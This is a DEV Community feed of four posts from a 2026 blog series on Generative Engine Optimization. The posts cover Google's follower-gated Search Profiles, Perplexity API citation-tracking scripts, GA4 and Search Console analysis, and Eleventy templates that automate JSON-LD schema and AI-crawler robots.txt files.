DEV Community: Aribu js

Google's 100k Follower Wall: Why GEO Is the Indie Dev's Best Bet in 2026

Aribu js — Thu, 11 Jun 2026 10:52:05 +0000

BLUF - Part 5 (Series Finale) of the GEO/SEO 2026 series

The event: Google launched Search Profiles with a Follow button in the SERP - but locked it behind a minimum of 100,000 followers on YouTube, X, or Instagram (300,000 on TikTok).

The paradox: In trying to strengthen E-E-A-T, Google equated social popularity with technical expertise - cutting off real engineers from organic search visibility.

The mistake: Developer communities on Dev.to, Medium, and GitHub will not start posting TikToks to hit a follower counter. They'll switch distribution channels.

The opportunity: RAG pipelines (Perplexity, ChatGPT Search) evaluate content on fact density, code quality, and server speed - not follower counts. That's a level playing field.

Google's New Game and the 100k Follower Wall

Google's June 2026 announcement of Search Profiles officially codified the company's new philosophy on author authority. An integrated "Follow" button appearing directly in search results is framed as a measure to strengthen E-E-A-T signals. But the implementation detail is the problem: access to verified author profiles and direct content distribution is restricted to creators with at least 100,000 followers on YouTube, X, or Instagram - or 300,000 on TikTok.

This sets a troubling precedent. When did an entertainment follower count become the primary signal for evaluating engineering expertise?

1. Why Popularity Is Not E-E-A-T

The stated goal of E-E-A-T (Experience, Expertise, Authoritativeness, Trustworthiness) has always been content quality and credibility. Search Profiles as implemented move in the opposite direction - they hand the highest-visibility distribution channel to influencers whose authority is measured in engagement metrics, not in working code.

Deep technical writing about architectural edge cases, memory leaks in specific library versions, or subtle misconfigurations naturally attracts a small but highly qualified audience. That's not a failure of reach - that's what genuine expertise looks like. It does not scale to 100k followers on entertainment platforms.

Author Evaluation Signal	Google Search Profiles	Real Engineering Criteria
Primary trust indicator	100,000+ social media followers	Clean code, working repos, unique terminal output
Content evaluated by	Video hype, likes, clickbait engagement	Solving real architectural edge-case bugs
Primary distribution platforms	TikTok, Instagram Reels, YouTube Shorts	Dev.to, GitHub, personal domain, HN

2. The Closed Ecosystem Mistake

Technical communities on Dev.to, Medium, and GitHub have grown around open-source principles and practical utility. A developer with 700 engaged followers on Dev.to, a strong backlink profile to their personal domain, and demonstrated topical authority in a specific niche has real E-E-A-T by any honest definition.

Under Google's new framework, that author is invisible to direct distribution tools - because they haven't accumulated entertainment capital on platforms that are structurally hostile to deep technical content.

Senior engineers, systems architects, and DevOps specialists are not going to film 60-second explainers to chase a vanity metric. By tying visibility to platform follower counts, Google is actively blinding itself to some of the best technical content on the web.

3. Why GEO Is the Fairer Channel for Indie Developers

While classic Google search builds social walls, AI search engines operate on purely technical criteria. RAG (Retrieval-Augmented Generation) architectures do not have a concept of "influencer." When a model selects sources to cite, it evaluates the mathematical properties of the content:

Token information density - the concentration of verifiable facts, specific metrics, and code per 200 words. Filler sentences score near zero.

Valid semantic structure - the presence of structured HTML, clean JSON-LD schema, and real terminal output that can't be easily fabricated.

Infrastructure latency - TTFB under 50ms ensures a page is immediately available to AI crawlers; slow hosts get deprioritized in the parsing queue.

None of these signals have anything to do with how many people follow you on Instagram.

This is why GEO (Generative Engine Optimization) is arguably the most socially fair distribution mechanism for independent authors in 2026. The depth of your content and the quality of your code determine your citation rate - not your marketing budget or your audience size on entertainment platforms.

4. The Indie Developer Survival Checklist for 2026

If you've followed this series from Part 1, you already have the technical infrastructure in place. The strategic layer is simpler:

[ ] Ignore follower thresholds on entertainment platforms entirely - double down on niche expertise instead
[ ] Build topical authority through exhaustive technical case studies on your personal domain
[ ] Automate JSON-LD schema and BLUF blocks inside your SSG (Part 3 of this series covers Eleventy automation)
[ ] Diversify distribution: Dev.to, GitHub, Hacker News, technical Discords - communities that evaluate code over clout
[ ] Track your AI citation rate with the Python script from Part 4 - that's your new north-star metric

Series Wrap-Up

This is the last post in the GEO/SEO 2026 series. Here's what the five parts covered:

Part 1 - Technical Architecture: robots.txt for AI crawlers, JSON-LD schema, semantic HTML.

Part 2 - Content Engineering: Information density, HTML tables for higher citation rates, BLUF structure.

Part 3 - Eleventy Automation: Nunjucks templates and shortcodes that generate GEO markup from frontmatter automatically.

Part 4 - Measurement: Perplexity API monitoring script, GA4 AI referrer analysis, Search Console AI Overview filters, Google Sheets dashboard.

Part 5 (this post) - The Bigger Picture: Why the follower-gated visibility model is a structural mistake, and why AI search is the level playing field indie developers needed.

The irony of this series: if Perplexity or ChatGPT Search surface these articles in response to a GEO-related query, that's the proof of concept running live.

Build fast sites, write dense prose, keep your TTFB under 50ms. ⚡

What's your take on Google's Search Profiles threshold - reasonable quality filter or gated paywall for attention-economy winners? Drop it in the comments.

GEO Analytics: How to Track Your Citations in ChatGPT and Perplexity

Aribu js — Thu, 11 Jun 2026 10:25:36 +0000

BLUF - Part 4 (Final) of the GEO/SEO 2026 series

Problem: Classic organic CTR no longer reflects your real reach - a large share of AI traffic hides inside "direct" or goes unrecorded entirely.

The GEO metric: citation rate - the percentage of target queries where an AI search engine cites your domain in its response.

Tools: Perplexity API + Python script for automated monitoring, GA4 for AI referrer analysis, Google Search Console for AI Overview data, Google Sheets for reporting.

Cost: $0 - using the free Perplexity API tier and standard analytics tools.

Series recap: [Part 1] Technical Architecture · [Part 2] Content Engineering · [Part 3] Eleventy Automation · [Part 4] Measurement ← you are here

Why Traditional SEO Metrics No Longer Tell the Full Story

In 2023, GA4 captured the vast majority of organic traffic accurately: a user clicked a link in the SERP and it logged as google / organic. In 2026, a large portion of web answers are generated directly inside AI interfaces without a click-through. When a referral click does happen, the referrer header is often stripped or non-standard.

The "Dark" AI Traffic Problem

AI Platform	GA4 Referrer	Analytics Visibility
Perplexity	`perplexity.ai`	✅ Tracked accurately as referral
ChatGPT Search	`chatgpt.com` or empty	⚠️ Partially hidden in direct
Gemini / AI Overviews	`google.com` (blended)	⚠️ Hard to isolate from organic
Microsoft Copilot	`bing.com`	✅ Tracked accurately as referral
Claude (Anthropic)	Empty / direct	❌ Completely hidden in direct

New KPIs for Measuring GEO Success

Metric	What it Measures	Tool
Citation Rate	% of target prompts where AI references your domain	Perplexity API + script
Citation Position	Your index in the source tray (1-10)	Perplexity API
AI Referral Traffic	Inbound clicks from AI platforms	GA4 / Plausible
AI Overview Impressions	Frequency inside Google AI Overviews	Google Search Console
Direct Traffic Share	Indirect signal for brand authority growth	GA4

Method 1. Manual Check: Quick Start Without an API

Before setting up automation, run a manual audit once a week. It takes under 10 minutes and gives you an immediate read on your visibility.

Auditing Perplexity manually:

Open perplexity.ai in a clean Incognito window to eliminate personalization.
Submit a long-tail prompt your article targets - e.g., "how to configure SSH deployment without FTP".
Check the Sources panel on the right or below the response.
Log results in a spreadsheet: Date, Prompt, Cited (Yes/No), Position.

For ChatGPT Search, run the same flow at chatgpt.com with the web search toggle (the globe icon) explicitly enabled. Citations appear as structured cards below the response.

Method 2. Bash Script for Quick Checks via Perplexity API

Perplexity's free developer API tier grants 1,000 queries per month - more than enough for weekly sweeps of a niche technical blog.

#!/bin/bash
# geo-check.sh - Quick citation check via Perplexity API
# Usage: PERPLEXITY_API_KEY=your_key GEO_DOMAIN=your-domain.com bash geo-check.sh

DOMAIN="${GEO_DOMAIN:-your-domain.com}"
API_KEY="${PERPLEXITY_API_KEY}"
CITED=0
TOTAL=0

# Target queries - adapt to your article topics
QUERIES=(
  "GEO site optimization 2026"
  "Eleventy JSON-LD schema automation"
  "SSH deployment with git hooks without FTP"
  "content engineering for ChatGPT citations"
)

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "GEO Citation Check - $(date '+%Y-%m-%d')"
echo "Domain: $DOMAIN"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"

for query in "${QUERIES[@]}"; do
  TOTAL=$((TOTAL + 1))

  response=$(curl -s -X POST "https://api.perplexity.ai/chat/completions" \
    -H "Authorization: Bearer $API_KEY" \
    -H "Content-Type: application/json" \
    -d "{
      \"model\": \"llama-3.1-sonar-small-128k-online\",
      \"messages\": [{\"role\": \"user\", \"content\": \"$query\"}],
      \"return_citations\": true
    }")

  if echo "$response" | grep -qi "$DOMAIN"; then
    echo "  ✓ [$TOTAL] $query"
    CITED=$((CITED + 1))
  else
    echo "  ✗ [$TOTAL] $query"
  fi

  sleep 2  # Stay within free tier rate limits
done

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Citation Rate: $CITED/$TOTAL ($(( CITED * 100 / TOTAL ))%)"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"

Method 3. Python Script with CSV Logging

The bash script gives a one-off snapshot. This Python version appends results to a CSV file, so you can chart trends over time in Google Sheets.

#!/usr/bin/env python3
"""
geo_monitor.py - Automated GEO citation monitoring.
Appends results to a CSV file for dashboard import.

Requirements: pip install requests
Usage: PERPLEXITY_API_KEY=your_key python3 geo_monitor.py
"""

import os
import csv
import time
import datetime
import requests

# ── Configuration ─────────────────────────────────────────
DOMAIN = os.environ.get("GEO_DOMAIN", "your-domain.com")
API_KEY = os.environ.get("PERPLEXITY_API_KEY")
OUTPUT_FILE = "geo_citations.csv"
RATE_LIMIT_DELAY = 2  # seconds between API calls

QUERIES = [
    "GEO site optimization 2026 strategies",
    "Eleventy automated JSON-LD schema generation",
    "content engineering for ChatGPT Perplexity citations",
    "SSH deploy with git hooks without FTP",
]
# ──────────────────────────────────────────────────────────


def check_citation(query: str) -> dict:
    """Queries Perplexity and returns citation position data."""
    try:
        resp = requests.post(
            "https://api.perplexity.ai/chat/completions",
            headers={
                "Authorization": f"Bearer {API_KEY}",
                "Content-Type": "application/json",
            },
            json={
                "model": "llama-3.1-sonar-small-128k-online",
                "messages": [{"role": "user", "content": query}],
                "return_citations": True,
            },
            timeout=30,
        )
        data = resp.json()
        citations = data.get("citations", [])

        position = next(
            (i + 1 for i, url in enumerate(citations) if DOMAIN in url), 0
        )

        return {
            "cited": position > 0,
            "position": position,
            "total_sources": len(citations),
        }
    except Exception as e:
        return {"cited": False, "position": 0, "total_sources": 0, "error": str(e)}


def run():
    today = datetime.date.today().isoformat()
    rows = []

    print(f"GEO Monitor | {today} | Domain: {DOMAIN}\n")

    for query in QUERIES:
        result = check_citation(query)
        status = "✓" if result["cited"] else "✗"
        pos = f" [#{result['position']}]" if result["cited"] else ""
        print(f"  {status}{pos} {query}")

        rows.append({
            "date": today,
            "query": query,
            "cited": result["cited"],
            "position": result["position"],
            "total_sources": result["total_sources"],
        })
        time.sleep(RATE_LIMIT_DELAY)

    file_exists = os.path.exists(OUTPUT_FILE)
    with open(OUTPUT_FILE, "a", newline="", encoding="utf-8") as f:
        writer = csv.DictWriter(
            f, fieldnames=["date", "query", "cited", "position", "total_sources"]
        )
        if not file_exists:
            writer.writeheader()
        writer.writerows(rows)

    cited = sum(1 for r in rows if r["cited"])
    rate = round(cited / len(rows) * 100)
    print(f"\nCitation Rate: {cited}/{len(rows)} ({rate}%)")
    print(f"Saved → {OUTPUT_FILE}")


if __name__ == "__main__":
    run()

Schedule with Cron

# Run every Monday at 09:00 - add via crontab -e
0 9 * * 1 cd ~/geo-monitor && \
  PERPLEXITY_API_KEY=your_key \
  GEO_DOMAIN=your-domain.com \
  python3 geo_monitor.py >> logs/geo_$(date +\%Y\%m).log 2>&1

Method 4. Analyzing AI Referrers in GA4

Even without any API, you can check AI traffic directly in GA4.

Navigation: GA4 → Reports → Acquisition → Traffic acquisition

Apply a filter on the Session source dimension and look for:

perplexity.ai   → Perplexity referrals
chatgpt.com     → ChatGPT Search referrals
you.com         → You.com AI
phind.com       → Phind (developer-focused)
bing.com        → Copilot (blended with regular Bing)

Surfacing "hidden" AI traffic from the direct bucket:

In GA4 → Explore, create a custom Funnel exploration:

Step 1: Session medium = (none) (pure direct traffic)
Step 2: Landing page contains /posts/ (or your content path)
Step 3: Session duration > 60 seconds

Long reading sessions landing directly on specific technical articles are very likely AI referrals where the browser stripped the referrer header - this is common with Claude and mobile AI apps.

Method 5. Google Search Console - AI Overview Data

Search Console has a dedicated filter for tracking your presence in AI Overviews.

Navigation: Performance → Search type: Web → + New filter → Search appearance → AI Overview

This view shows:

Impressions: How often your content appeared inside an AI Overview answer.
Clicks: Clicks coming directly from AI Overview link anchors.
CTR: AI Overview CTR typically runs 0.5-2% (vs. 3-5% for classic top-organic positions).

Important reality check: If impressions climb while clicks stay flat, that's not a failure - it's a zero-click citation win. Your domain is being used as the reference source to validate the AI-generated answer.

Method 6. Google Sheets Dashboard with Apps Script

Import your CSV from the Python script and use this Apps Script to generate a weekly citation report automatically.

// Google Apps Script - GEO Citation Dashboard
// Paste via Extensions → Apps Script → Run

function setupDashboard() {
  const ss = SpreadsheetApp.getActiveSpreadsheet();

  let dataSheet = ss.getSheetByName("Raw Data")
    || ss.insertSheet("Raw Data");

  if (dataSheet.getLastRow() === 0) {
    const headers = ["Date", "Query", "Cited", "Position", "Total Sources"];
    dataSheet.getRange(1, 1, 1, headers.length).setValues([headers]);
    dataSheet.getRange(1, 1, 1, headers.length).setFontWeight("bold");
  }

  // Green highlight for cited rows
  const range = dataSheet.getRange("C2:C1000");
  const rule = SpreadsheetApp.newConditionalFormatRule()
    .whenTextEqualTo("TRUE")
    .setBackground("#E6F4EA")
    .setFontColor("#137333")
    .setRanges([range])
    .build();
  dataSheet.setConditionalFormatRules([rule]);

  Logger.log("Dashboard ready. Import CSV via File → Import.");
}

function weeklyReport() {
  const sheet = SpreadsheetApp.getActiveSpreadsheet()
    .getSheetByName("Raw Data");
  if (!sheet) return;

  const data = sheet.getDataRange().getValues().slice(1);

  const cutoff = new Date();
  cutoff.setDate(cutoff.getDate() - 7);

  const recent = data.filter(row => new Date(row[0]) >= cutoff);

  if (recent.length === 0) {
    Logger.log("No data found for the past 7 days.");
    return;
  }

  const cited = recent.filter(row => row[2] === true || row[2] === "TRUE");
  const rate = ((cited.length / recent.length) * 100).toFixed(1);

  const positions = cited.map(r => Number(r[3])).filter(p => p > 0);
  const avgPos = positions.length > 0
    ? (positions.reduce((a, b) => a + b, 0) / positions.length).toFixed(1)
    : "—";

  const summary = [
    `📊 GEO Weekly Report - ${new Date().toLocaleDateString("en-US")}`,
    `Citation Rate: ${rate}% (${cited.length}/${recent.length} queries)`,
    `Avg. Source Position: #${avgPos}`,
  ].join("\n");

  Logger.log(summary);

  // Uncomment to receive the report by email:
  // MailApp.sendEmail(Session.getActiveUser().getEmail(), "GEO Weekly Report", summary);
}

function createWeeklyTrigger() {
  ScriptApp.newTrigger("weeklyReport")
    .timeBased()
    .onWeekDay(ScriptApp.WeekDay.MONDAY)
    .atHour(10)
    .create();
  Logger.log("Trigger set: weeklyReport runs every Monday at 10:00 AM.");
}

Implementation Checklist

[ ] Identified 5-10 non-branded long-tail queries to track
[ ] Run a manual baseline audit in Perplexity and ChatGPT Search (Incognito)
[ ] Got a Perplexity API key at perplexity.ai/settings/api
[ ] Tested geo_monitor.py locally and confirmed CSV output
[ ] Scheduled the script via cron (or Task Scheduler on Windows)
[ ] Added AI referrer filters in GA4
[ ] Enabled the "AI Overview" filter in Google Search Console
[ ] Deployed the Apps Script dashboard in Google Sheets with automated triggers

FAQ

How many queries do I need for meaningful data?

For a niche technical blog with 10-20 posts, 1-2 relevant non-branded queries per post is enough. That gives you a tracking basket of 15-30 queries total - well within free tier limits while keeping the signal tight.

What citation rate benchmarks should I aim for?

Based on mid-2026 data from technical search: below 20% suggests structural or content issues (revisit Parts 1 and 2 of this series). 20-40% is solid for an early-stage site. Above 40% indicates strong optimization. Consistent 60%+ means your domain has become an authoritative reference in your niche.

Can I automate Gemini citation tracking programmatically?

No. Google does not expose a public API for parsing live Gemini citations. The closest alternative is monitoring the "AI Overview" filter in Google Search Console for impressions and clicks.

Should I include branded queries in my tracking set?

Keep branded and non-branded queries completely separate. Branded terms will naturally skew your citation rate high since AI platforms easily surface direct brand matches. To understand your real reach, track non-branded informational queries where your content must win on its own merits.

The GEO Series Is Complete 🎉

Here's what the four parts covered end-to-end:

Part 1 - Technical Architecture: Opening AI crawlers in robots.txt, deploying valid JSON-LD schema, switching to semantic HTML.

Part 2 - Content Engineering: Improving information density, using HTML tables for higher citation rates, structuring every section with BLUF.

Part 3 - Eleventy Automation: Nunjucks templates and shortcodes that generate all GEO markup automatically from frontmatter.

Part 4 (this post) - Measurement: Perplexity API monitoring, GA4 AI referrer analysis, Search Console AI Overview filters, Google Sheets reporting.

When Perplexity or ChatGPT Search surface these exact workflows in response to a GEO-related query, that's the real proof the framework works.

Drop your initial citation rate in the comments - curious what numbers the first script run returns for you. 💬

GEO Automation in Eleventy: JSON-LD, BLUF & Tables Without Manual Markup

Aribu js — Wed, 10 Jun 2026 09:01:24 +0000

BLUF - Part 3 of the GEO/SEO 2026 series

Problem: manually writing JSON-LD, BLUF blocks, and HTML tables for every post is time-consuming and error-prone.

Solution: Nunjucks includes and shortcodes in Eleventy - set up the template once and every new post gets full GEO infrastructure from frontmatter automatically.

What we automate: Article Schema, FAQPage Schema, HowTo Schema, BLUF block, HTML tables with data-label, and robots.txt.

Setup time: 1.5-2 hours once → 0 minutes per post afterward.

Part 1: GEO Technical Architecture: robots.txt, JSON-LD, and Semantic HTML

Part 2: Content Engineering for LLMs: Information Density and BLUF Structure

Why Manual Micro-Markup Doesn't Scale

In Part 1 we manually wrote JSON-LD for each Schema type. In Part 2 we added BLUF blocks and HTML tables to each post individually. With a 5-post blog that's acceptable. With 50 posts it becomes technical debt that guarantees drift: one post missing FAQPage Schema, another with a stale author URL, a third without a BLUF.

The right solution: one change in the template = an update across all posts simultaneously.

Step 1. Base Configuration: `_data/metadata.json`

All Nunjucks templates will pull global site data from here. If the file already exists, verify it contains these fields:

{
  "title": "Your Blog Title",
  "description": "A technical blog about development and AI tools",
  "url": "https://your-domain.com",
  "language": "en",
  "author": {
    "name": "Your Name",
    "url": "https://your-domain.com/about/",
    "email": "contact@your-domain.com"
  },
  "logo": "https://your-domain.com/images/logo.png"
}

Step 2. Article Schema - Automatic for Every Post

Create _includes/schema-article.njk. It reads title, description, date, and thumbnail from the current page's frontmatter and generates valid JSON-LD:

{% raw %}{%- if title and page.url -%}
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": {{ title | dump | safe }},
  "description": {{ description | dump | safe }},
  "datePublished": "{{ date | dateToISO }}",
  "dateModified": "{{ date | dateToISO }}",
  "author": {
    "@type": "Person",
    "name": {{ metadata.author.name | dump | safe }},
    "url": {{ metadata.author.url | dump | safe }}
  },
  "publisher": {
    "@type": "Organization",
    "name": {{ metadata.title | dump | safe }},
    "url": {{ metadata.url | dump | safe }},
    "logo": {
      "@type": "ImageObject",
      "url": {{ metadata.logo | dump | safe }}
    }
  },
  "mainEntityOfPage": {
    "@type": "WebPage",
    "@id": {{ (metadata.url + page.url) | dump | safe }}
  }
  {%- if thumbnail -%}
  ,
  "image": {{ (metadata.url + "/" + thumbnail.image) | dump | safe }}
  {%- endif -%}
}
</script>
{%- endif -%}{% endraw %}

The `dateToISO` Filter in `.eleventy.js`

Eleventy doesn't have a built-in ISO filter. Add this to .eleventy.js:

module.exports = function(eleventyConfig) {

  // Filter: Date → ISO 8601 string for JSON-LD
  eleventyConfig.addFilter("dateToISO", (date) => {
    if (!date) return "";
    return new Date(date).toISOString();
  });

  // ... other settings
};

Adding to the Base Layout

In _includes/base.njk or _includes/layouts/post.njk, inside the <head> block:

{% raw %}<head>
  <meta charset="UTF-8">
  <title>{{ title }} | {{ metadata.title }}</title>
  <meta name="description" content="{{ description }}">

  {# ── GEO Schema Markup ──────────────────────────── #}
  {% include "schema-article.njk" %}
  {% include "schema-faq.njk" %}
  {% include "schema-howto.njk" %}

</head>{% endraw %}

Every new post now automatically gets Article Schema with no additional effort.

Step 3. FAQPage Schema via a Frontmatter Array

The idea: FAQ questions and answers are defined directly in the post's frontmatter. The template generates the Schema automatically, and the same data renders the HTML FAQ section on the page.

Frontmatter Structure

---
title: "Post Title"
faq:
  - q: "What is GEO and how does it differ from SEO?"
    a: "GEO is optimization for citation in AI responses; SEO is for ranking in search results."
  - q: "Which AI bots should be allowed in robots.txt?"
    a: "GPTBot, PerplexityBot, Google-Extended, ClaudeBot, anthropic-ai, FacebookBot."
  - q: "Are GEO and SEO compatible?"
    a: "Yes, most GEO techniques reinforce classical SEO."
---

Template `_includes/schema-faq.njk`

{% raw %}{%- if faq and faq.length -%}
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {%- for item in faq -%}
    {
      "@type": "Question",
      "name": {{ item.q | dump | safe }},
      "acceptedAnswer": {
        "@type": "Answer",
        "text": {{ item.a | dump | safe }}
      }
    }{% if not loop.last %},{% endif %}
    {%- endfor -%}
  ]
}
</script>
{%- endif -%}{% endraw %}

Rendering the FAQ Section from the Same Data

In the post template (in <body>, not <head>):

{% raw %}{%- if faq and faq.length -%}
<section>
  <h2>Frequently Asked Questions</h2>
  {%- for item in faq -%}
  <details>
    <summary><strong>{{ item.q }}</strong></summary>
    <p>{{ item.a }}</p>
  </details>
  {%- endfor -%}
</section>
{%- endif -%}{% endraw %}

One frontmatter array → Schema for Google/AI and HTML for readers. Synchronization is guaranteed.

Step 4. HowTo Schema for Step-by-Step Guides

Add to the frontmatter of guide posts:

howto:
  name: "How to Set Up SSH Deployment"
  totalTime: "PT1H"
  steps:
    - name: "Generate SSH Keys"
      text: "Run ssh-keygen -t ed25519 -C deploy@mysite.com on your local machine."
    - name: "Copy the Key to the Server"
      text: "Use ssh-copy-id -i ~/.ssh/key.pub user@server-ip for authorization."
    - name: "Set Up a Git Bare Repository"
      text: "On the server run mkdir -p ~/repos/mysite.git && git init --bare."

Template `_includes/schema-howto.njk`

{% raw %}{%- if howto and howto.steps -%}
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "HowTo",
  "name": {{ howto.name | dump | safe }},
  "totalTime": {{ howto.totalTime | dump | safe }},
  "step": [
    {%- for step in howto.steps -%}
    {
      "@type": "HowToStep",
      "position": {{ loop.index }},
      "name": {{ step.name | dump | safe }},
      "text": {{ step.text | dump | safe }}
    }{% if not loop.last %},{% endif %}
    {%- endfor -%}
  ]
}
</script>
{%- endif -%}{% endraw %}

Step 5. Automatic BLUF Block

Instead of writing the BLUF by hand in every post, move the bullet points into a frontmatter array bluf and let the template render it.

Frontmatter

bluf:
  - "**Goal:** automate GEO markup so we never write JSON-LD by hand."
  - "**Time:** 2 hours of setup, then 0 minutes per new post."
  - "**Stack:** Eleventy (11ty) + Nunjucks includes + addShortcode in .eleventy.js."

Template `_includes/bluf.njk`

{% raw %}{%- if bluf and bluf.length -%}
<div class="tldr">
  <div class="tldr-title">BLUF - Summary for AI Crawlers</div>
  <ul>
  {%- for item in bluf -%}
    <li>{{ item | markdownify | safe }}</li>
  {%- endfor -%}
  </ul>
</div>
{%- endif -%}{% endraw %}

Include it at the top of the post template, right after <h1>:

{% raw %}<article>
  {# H1 is rendered from frontmatter title via layout - don't duplicate it #}
  {% include "bluf.njk" %}
  {{ content | safe }}
</article>{% endraw %}

The `markdownify` Filter

// .eleventy.js - render inline markdown in frontmatter strings
const markdownIt = require("markdown-it");
const md = new markdownIt({ html: true });

eleventyConfig.addFilter("markdownify", (str) => {
  if (!str) return "";
  return md.renderInline(String(str));
});

Step 6. Shortcode for GEO Tables

Instead of manually writing <table> with all the data-label attributes every time - one shortcode in .eleventy.js and clean pipe-separated syntax in Markdown.

Registering the Shortcode in `.eleventy.js`

// Paired shortcode: {% geotable "Header 1,Header 2,Header 3" %}
// Data rows: Value 1 | Value 2 | Value 3
// {% endgeotable %}

eleventyConfig.addPairedShortcode("geotable", function(content, headers) {
  const headerList = headers.split(',').map(h => h.trim());

  // Parse rows - one line = one <tr>
  const rows = content
    .trim()
    .split('\n')
    .filter(row => row.trim().length > 0);

  // Generate thead
  let html = `<table class="cmp-table">\n  <thead>\n    <tr>\n`;
  headerList.forEach(h => {
    html += `      <th>${h}</th>\n`;
  });
  html += `    </tr>\n  </thead>\n  <tbody>\n`;

  // Generate tbody
  rows.forEach(row => {
    const cells = row.split('|').map(c => c.trim());
    html += `    <tr>\n`;
    cells.forEach((cell, i) => {
      const label = headerList[i] || '';
      html += `      <td data-label="${label}">${cell}</td>\n`;
    });
    html += `    </tr>\n`;
  });

  html += `  </tbody>\n</table>`;
  return html;
});

Usage in a Markdown Post

{% raw %}{% geotable "Platform,TTFB,Price/mo,Control" %}
Eleventy + NVMe VPS | <50 ms  | $5-10 | Full
WordPress (shared)  | 800+ ms | $9    | Limited
Wix                 | 400-600 ms | $17 | None
{% endgeotable %}{% endraw %}

The shortcode automatically adds data-label to every cell - mobile CSS card transformation works without any extra changes.

Step 7. Auto-Generating robots.txt

Instead of a static file - a Nunjucks template that substitutes the site URL from metadata.json automatically.

Create robots.njk in the project root:

---
permalink: /robots.txt
eleventyExcludeFromCollections: true
---
# ── Search Engines ────────────────────────────────────────
User-agent: Googlebot
Allow: /

User-agent: Bingbot
Allow: /

# ── AI Crawlers 2026 ──────────────────────────────────────
User-agent: GPTBot
Allow: /

User-agent: ChatGPT-User
Allow: /

User-agent: PerplexityBot
Allow: /

User-agent: Google-Extended
Allow: /

User-agent: ClaudeBot
Allow: /

User-agent: anthropic-ai
Allow: /

User-agent: FacebookBot
Allow: /

Sitemap: {% raw %}{{ metadata.url }}{% endraw %}/sitemap.xml

Eleventy builds it to _site/robots.txt automatically. When the site URL changes in metadata.json, the Sitemap line updates everywhere at once.

Summary: What's Automated and Setup Time

Element	Before (manual)	After Automation	Setup Time
Article Schema	~20 lines in every post	Automatic from frontmatter	20 min
FAQPage Schema	JSON-LD by hand + duplicated HTML	One frontmatter array → Schema + HTML	25 min
HowTo Schema	Written separately for each guide	YAML steps in frontmatter	20 min
BLUF block	HTML div in every post	`bluf` array in frontmatter	15 min
HTML tables	30+ lines of HTML per table	`{% geotable %}` shortcode	20 min
robots.txt	Static file	Nunjucks template with `metadata.url`	10 min

Total setup time: ~1.5-2 hours. After that - no manual markup work for new posts.

Implementation Checklist

Before considering the setup complete, verify each item:

[ ] _data/metadata.json contains url, author, logo
[ ] The dateToISO filter is registered in .eleventy.js
[ ] The markdownify filter is registered in .eleventy.js
[ ] _includes/schema-article.njk is included in the base layout inside <head>
[ ] _includes/schema-faq.njk is included in the base layout
[ ] _includes/schema-howto.njk is included in the base layout
[ ] _includes/bluf.njk is included in the post template immediately after H1
[ ] The geotable shortcode is registered in .eleventy.js
[ ] robots.njk with permalink: /robots.txt is in the project root
[ ] Verified with Google Rich Results Test after deploying the first post with the new templates

FAQ

Is this approach compatible with both Eleventy v2.x and v3.x?

Yes. All templates and shortcodes are written for Eleventy v2.x and v3.x - the addFilter, addPairedShortcode, and addShortcode APIs have not changed between versions. The markdownify filter requires npm install markdown-it if the package isn't already in your dependencies.

Does | dump | safe correctly escape special characters in JSON-LD?

Yes. Nunjucks's dump filter serializes a string into valid JSON, escaping quotes, backslashes, and special characters. The | dump | safe combination is the standard pattern for inserting dynamic strings into JSON-LD via Nunjucks.

How do I verify the Schema was generated correctly after deployment?

Three tools: Google Rich Results Test - validates Article, FAQPage, and HowTo. Schema Markup Validator - extended validation. Bing Webmaster Tools → "URL inspection" - shows how Copilot sees the markup.

Can the same approach be used for BreadcrumbList Schema?

Yes. Add _includes/schema-breadcrumb.njk with a {% if series and order %} condition and populate values from frontmatter. This is particularly useful for series posts - AI search engines see the relationship between parts and boost the authority of the entire cluster.

What's Next: Part 4

Part 4 - Measuring the GEO Effect: how to systematically track whether ChatGPT Search, Perplexity, and Gemini are citing your site, which metrics replace classical organic CTR, and how to build a monitoring dashboard without paid tools - using only curl, Python, and Google Sheets.

LLM Content Engineering: How to Write for AI Search in 2026

Aribu js — Tue, 09 Jun 2026 16:50:03 +0000

BLUF - Bottom Line Up Front (Part 2 of the GEO/SEO 2026 series)

Problem: Your robots.txt is open and AI bots are crawling your site - but ChatGPT and Perplexity ignore content written with old-school SEO filler.

Root cause: RAG pipelines rank sources by information density - the concentration of verified facts, numbers, and metrics per unit of text.

Solution: Three content engineering techniques: boost fact density → pack data into HTML tables → apply BLUF structure to every H2 section.

In this article: before/after examples, ready-to-use HTML table code with mobile responsiveness, and a pre-publish checklist.

Part 1 of the series: Technical GEO Architecture: robots.txt, JSON-LD, and Semantic HTML

Why an open robots.txt is no longer enough

In Part 1 of this series, we covered the technical foundation: opening AI crawlers, implementing JSON-LD schema, and switching to semantic HTML. But there's a problem that no amount of technical configuration can solve.

Imagine two competitors. Both are open to GPTBot and PerplexityBot. Both have Article and FAQPage schema. Yet Perplexity only cites one of them. Why?

The answer is in the content itself. RAG architecture loads the page HTML into a context window and runs scoring - evaluating how useful each sentence is for answering a user query. Sentences with concrete facts, numbers, and verified metrics score high. Sentences with filler score low or zero.

1. Information Density vs. SEO Filler: The Math of Getting Cited

Information density is the number of verified facts, concrete figures, and metrics per 100 words of text. LLMs are optimized to minimize hallucinations - they favor sources where every sentence carries maximum informational payload.

Before/After: The Same Idea, Two Different Densities

❌ Old-school SEO writing (low density):
"In today's digital world, it is critically important to improve
website performance, as page load speed can significantly impact
visitor behavior and their overall experience on the resource..."

✅ LLM-ready writing (high density):
"A 100ms increase in TTFB reduces conversion by 7% (Deloitte Digital, 2024).
RAG parsers skip domains with TTFB > 500ms due to context timeout -
a static Eleventy site achieves TTFB < 50ms and stays out of the discard pile."

Both are ~30 words. The first contains 0 verified facts. The second contains 3 concrete metrics with a source. For LLM scoring, that difference is enormous.

The One-Fact-Per-200-Words Rule

An empirical benchmark for LLM-oriented content engineering: every 200 words should contain at least one verified element:

Element Type	Example	LLM Weight
Specific number with year	"47% more often, 2025"	✅ High
Research reference	"(Surfer SEO, 2025)"	✅ High
Technical metric	"TTFB < 50ms"	✅ High
Version or release date	"Firebase SDK 10.12.0"	🟡 Medium
